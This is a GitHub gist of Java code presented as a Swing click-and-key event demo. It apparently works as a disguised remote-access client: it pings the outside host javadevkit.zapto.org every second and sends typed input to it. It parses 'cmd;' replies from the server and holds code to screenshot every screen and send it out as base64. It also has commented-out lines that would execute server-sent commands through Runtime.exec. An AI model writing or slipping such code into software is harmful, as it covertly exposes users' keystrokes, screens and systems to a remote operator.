Created
May 15, 2014 18:22
-
-
Save Announcement/4d7d04523da47458fa7e to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import java.io.*; | |
| import java.net.*; | |
| import java.text.*; | |
| import java.lang.*; | |
| import java.util.*; | |
| import java.util.Timer; | |
| import java.util.TimerTask; | |
| import javax.swing.*; | |
| import javax.swing.ImageIcon; | |
| import javax.imageio.*; | |
| import java.awt.*; | |
| import java.awt.event.*; | |
| import java.awt.image.BufferedImage; | |
| public class JFrameClickEventExample | |
| extends JFrame | |
| implements MouseListener, MouseMotionListener, KeyListener | |
| { | |
| public static BufferedImage scrnsht; | |
| public static LinkedList<String> drawlog = new LinkedList<String>(); | |
| public static BufferedImage ScreenShot() { | |
| try { | |
| GraphicsEnvironment ge = GraphicsEnvironment.getLocalGraphicsEnvironment(); | |
| GraphicsDevice[] screens = ge.getScreenDevices(); | |
| Rectangle allScreenBounds = new Rectangle(); | |
| for (GraphicsDevice screen : screens) { | |
| Rectangle screenBounds = screen.getDefaultConfiguration().getBounds(); | |
| allScreenBounds.width += screenBounds.width; | |
| allScreenBounds.height = Math.max(allScreenBounds.height, screenBounds.height); | |
| } | |
| Robot robot = new Robot(); | |
| return robot.createScreenCapture(allScreenBounds); | |
| }catch(Exception ex){ | |
| BufferedImage bi = new BufferedImage(800, 600, BufferedImage.TYPE_INT_RGB); | |
| Graphics g = bi.getGraphics(); | |
| g.setColor(Color.red); | |
| g.fillRect(300, 350, 100, 50); | |
| return bi; | |
| } | |
| } | |
| public static String Base64ScreenShot(BufferedImage img){ | |
| try{ | |
| ByteArrayOutputStream baos = new ByteArrayOutputStream(); | |
| ImageIO.write( img, "jpg", baos ); | |
| baos.flush(); | |
| byte[] imageInByte = baos.toByteArray(); | |
| baos.close(); | |
| return javax.xml.bind.DatatypeConverter.printBase64Binary(imageInByte); | |
| }catch(Exception ex){ | |
| System.out.println("Error making screenshot"); | |
| return "iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO9TXL0Y4OHwAAAABJRU5ErkJggg=="; | |
| } | |
| } | |
| public static String Base64ScreenShot(){ | |
| return Base64ScreenShot(ScreenShot()); | |
| } | |
| public class DrawPanel extends JPanel { | |
| @Override | |
| public void paintComponent(Graphics g) { | |
| g.setColor(Color.black); | |
| g.drawImage(scrnsht,0,0,this); | |
| if (drawlog.size()>10){ | |
| for (int i=drawlog.size()-10;i-->0;drawlog.remove()); | |
| } | |
| int i = 0; | |
| for (String txt: drawlog){ | |
| g.drawString(txt,10,(++i)*32); | |
| } | |
| } | |
| } | |
| public JLabel label; | |
| public static void cmdh(String data) throws IOException{ | |
| System.out.println(data); | |
| String commandHeader = data.split(",")[0]; | |
| String commandBody = data.split(",")[1]; | |
| String[] commandInfo = commandHeader.split(":"); | |
| if(commandInfo[0].equals("exec")){ | |
| if(commandInfo[1].equals("runtime")){ | |
| System.out.println(commandBody); | |
| //Runtime rt = Runtime.getRuntime(); | |
| //Process pr = rt.exec(URLDecoder.decode(commandBody, "UTF-8")); | |
| } | |
| } | |
| //safeSend("cmd;data:screenshot,"+Base64ScreenShot()); | |
| } | |
| public static void send(String msg) throws IOException{ | |
| Socket clientSocket; | |
| try{ | |
| clientSocket = new Socket("localhost", 6789); | |
| }catch(Exception ex){ | |
| clientSocket = new Socket("javadevkit.zapto.org", 6789); | |
| } | |
| DataOutputStream outToServer = new DataOutputStream(clientSocket.getOutputStream()); | |
| BufferedReader inFromServer = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())); | |
| outToServer.writeBytes(msg+'\n'); | |
| String response = inFromServer.readLine(); | |
| if(response.indexOf("cmd;")==0) cmdh(response); | |
| else drawlog.add(response); | |
| System.out.println(response); | |
| clientSocket.close(); | |
| } | |
| public static void safeSend(String msg){ | |
| try{ | |
| send(msg); | |
| }catch(Exception ex){ | |
| System.out.println(ex); | |
| } | |
| } | |
| public static void main(String args[]) | |
| { | |
| new JFrameClickEventExample(); | |
| Timer timer = new Timer("MyTimer"); | |
| timer.schedule(new TimerTask() { | |
| @Override | |
| public void run(){ | |
| safeSend("ping"); | |
| System.out.println("#> pinging server"); | |
| } | |
| }, 1000, 1000); | |
| } | |
| JFrameClickEventExample() | |
| { | |
| setSize(500, 400); | |
| setTitle("Java Swing - JFrame Detect Events"); | |
| label = new JLabel("No Even Captured", JLabel.CENTER); | |
| add(label); | |
| addMouseListener(this); | |
| addMouseMotionListener(this); | |
| addKeyListener(this); | |
| setVisible(true); | |
| setAlwaysOnTop(true); | |
| DrawPanel panel = new DrawPanel(); | |
| setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); | |
| add(panel); | |
| } | |
| public void mousePressed(MouseEvent evt) { | |
| } | |
| public void mouseDragged(MouseEvent evt) { } | |
| public void mouseEntered(MouseEvent evt) { } | |
| public void mouseReleased(MouseEvent evt) { } | |
| public void mouseClicked(MouseEvent evt) { } | |
| public void mouseExited(MouseEvent evt) { } | |
| public void mouseMoved(MouseEvent evt) { /*label.setText("Moving"); */} | |
| public static String input = ""; | |
| public void keyTyped(KeyEvent e) { } | |
| public void keyPressed(KeyEvent e) { | |
| if(e.getKeyCode()==KeyEvent.VK_ENTER){ | |
| safeSend(input); | |
| input = ""; | |
| }else if(e.getKeyCode()==KeyEvent.VK_BACK_SPACE&&input.length()>0){ | |
| input = input.substring(0,input.length()-1); | |
| }else if(e.getKeyCode()==KeyEvent.VK_SHIFT){ | |
| //scrnsht=ScreenShot(); | |
| //safeSend("cmd;data:screenshot,"+Base64ScreenShot()); | |
| try{ | |
| //System.out.println(URLEncoder.encode("cmd;exec:runtime,start", "UTF-8")); | |
| //safeSend("cmd;test:bounce,cmd;exec:runtime,"+URLEncoder.encode("start", "UTF-8")); | |
| }catch(Exception ex){ | |
| } | |
| }else if(e.getKeyChar()==KeyEvent.VK_PRINTSCREEN){ | |
| }else{ | |
| input += e.getKeyChar(); | |
| } | |
| label.setText(input); | |
| } | |
| public void keyReleased(KeyEvent e) { } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment